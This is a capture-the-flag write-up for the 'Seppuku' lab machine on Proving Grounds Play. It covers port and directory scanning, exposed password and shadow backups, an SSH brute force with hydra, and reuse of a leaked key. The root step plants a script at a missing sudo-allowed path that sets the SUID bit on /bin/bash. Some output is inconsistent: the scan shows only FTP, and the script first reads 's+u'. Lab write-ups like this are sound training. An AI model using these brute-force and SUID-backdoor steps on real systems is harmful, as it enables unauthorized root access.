Seppuku | Write-up

Difficulty: Easy
Platform: Proving Ground Play
Operating System: Linux
Target IP: 192.168.158.90
Date Completed: 16-02-2026
Solution Author: Armaan Nain

Objectives

- User Flag
- Root Flag

Initial Foothold

Port & Service Scan :

Scanned the machine for open ports running services facing public network.

> 🔗 Command : NMAP SCAN
>
> ```
> sudo nmap 192.168.158.90 -sCV -oN nmap-scan --min-rate=300
> ```

```
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 3.0.3

```

The scan revealed multiple open services. The target machine is suspected to be running `debian` operating system on it .

Service Enumeration :

In Enumeration of port 7601 which was running http service. While directory brute-force to list all potential directories , several interesting directories were listed.

💭 Command : Directory Brute forcing

```
gobuster dir -u http://192.168.158.90:7601 -w
/usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-
2007_directory-list-2.3-medium.txt -o gobuster.root-7601
```

```
) cat gobuster.root-7601
b                    (Status: 301) [Size: 319] [--> http://192.168.158.90:7601/b/]
a                    (Status: 301) [Size: 319] [--> http://192.168.158.90:7601/a/]
c                    (Status: 301) [Size: 319] [--> http://192.168.158.90:7601/c/]
t                    (Status: 301) [Size: 319] [--> http://192.168.158.90:7601/t/]
r                    (Status: 301) [Size: 319] [--> http://192.168.158.90:7601/r/]
d                    (Status: 301) [Size: 319] [--> http://192.168.158.90:7601/d/]
f                    (Status: 301) [Size: 319] [--> http://192.168.158.90:7601/f/]
e                    (Status: 301) [Size: 319] [--> http://192.168.158.90:7601/e/]
h                    (Status: 301) [Size: 319] [--> http://192.168.158.90:7601/h/]
w                    (Status: 301) [Size: 319] [--> http://192.168.158.90:7601/w/]
q                    (Status: 301) [Size: 319] [--> http://192.168.158.90:7601/q/]
database             (Status: 301) [Size: 326] [--> http://192.168.158.90:7601/database/]
production           (Status: 301) [Size: 328] [--> http://192.168.158.90:7601/production/]
keys                 (Status: 301) [Size: 322] [--> http://192.168.158.90:7601/keys/]
secret               (Status: 301) [Size: 324] [--> http://192.168.158.90:7601/secret/]
stg                  (Status: 301) [Size: 321] [--> http://192.168.158.90:7601/stg/]
server-status        (Status: 403) [Size: 281]
```

The directory `/secret` seemed to contain , many interesting files.

Index of /secret

| Name	Last modified	Size	Description
Parent Directory		-	
hostname	2020-05-13 03:41	8	
jack.jpg	2018-09-12 03:49	58K	
passwd.bak	2020-05-13 03:47	2.7K	
password.lst	2020-05-13 03:59	672	
shadow.bak	2020-05-13 03:48	1.4K	

Apache/2.4.38 (Debian) Server at 192.168.158.90 Port 7601

the file hostname contained the hostname of the machine, the file
password.lst contained a list of potential passwords.

seppuku

Another directory named `keys` seems to contain `ssh` keys of the a user, the key does not have a password , validated by `ssh2john` script.

Tried multiple credentials gathered against other services and found a successful session on target machine via `ssh` service as user seppuku.

> 💭 Brute Force Service
>
> hydra -l 'seppuku' -P psk ssh://192.168.158.90

Privilege Escalation

Technique Used: Malicious binary execution

On System Enumeration , he home directory of the sepukku user contains a `.passwd` file . used them against other user on the system and found a successful session against user samurai.

on user samurai enumeration , it was found he has the permissions to execute the binary `bin` present in the home directory of user tanto as sudo. On further enumeration it was found out that the user tanto contained no such directory. Which makes it vulnerable , if a binary with specified name and in the specified location is created/placed , it will be executed with sudo privileges.

```
samurai@seppuku:/home/seppuku$ sudo -l
Matching Defaults entries for samurai on seppuku:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User samurai may run the following commands on seppuku:
    (ALL) NOPASSWD: /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
```

So , in order to create the required directory and binary we need appropriate permissions on the directory tanto , which likely user tanto would have . so tried to use the key found earlier against tango user , as the user home directory contained a .ssh directory in it. After changing `private.bak` permissions , so they can be used to authenticate . Got a successful remote session on target machine as tanto user.

```
   …/Desktop/Machines/07-Seppuku
) chmod 600 private.bak

   …/Desktop/Machines/07-Seppuku
) ssh tanto@192.168.158.90 -i private.bak
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Linux seppuku 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
tanto@seppuku:~$ whoami && hostname && id
tanto
seppuku
uid=1002(tanto) gid=1003(tanto) groups=1003(tanto)
tanto@seppuku:~$ |
```

created s malicious binary and `.cgi_bin` directory . placed the binary in the directory, and made it executable with `chmod +x` , so that it gets executed.

📋 Malicious binary code

```
#! /bin/bash
chmod s+u /bin/bash
```

✏️ Malicious Binary Explanation

Made the binary to execute a command , which will give SUID bit set to the `/bin/bash` binary , which can be later be exploited to

> get `root` privileges effortlessly.

```
tanto@seppuku:~$ cat .cgi_bin/bin
#! /bin/bash
chmod u+s /bin/bash
tanto@seppuku:~$ chmod +x .cgi_bin/bin
tanto@seppuku:~$
```

Executed the command as sudo through Samurai user and as expected our malicious binary got executed with root privileges and SUID bit set was added to `bash` binary.

```
samurai@seppuku:/home/seppuku$ sudo ../../../../../../home/tanto/.cgi_bin/bin /tmp/*
samurai@seppuku:/home/seppuku$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash
samurai@seppuku:/home/seppuku$
```

> 💬 Command : Spawn root shell
>
> bash -p

```
samurai@seppuku:/home/seppuku$ bash -p
bash-5.0# whoami && id && hostname
root
uid=1001(samurai) gid=1002(samurai) euid=0(root) groups=1002(samurai)
seppuku
bash-5.0#
```
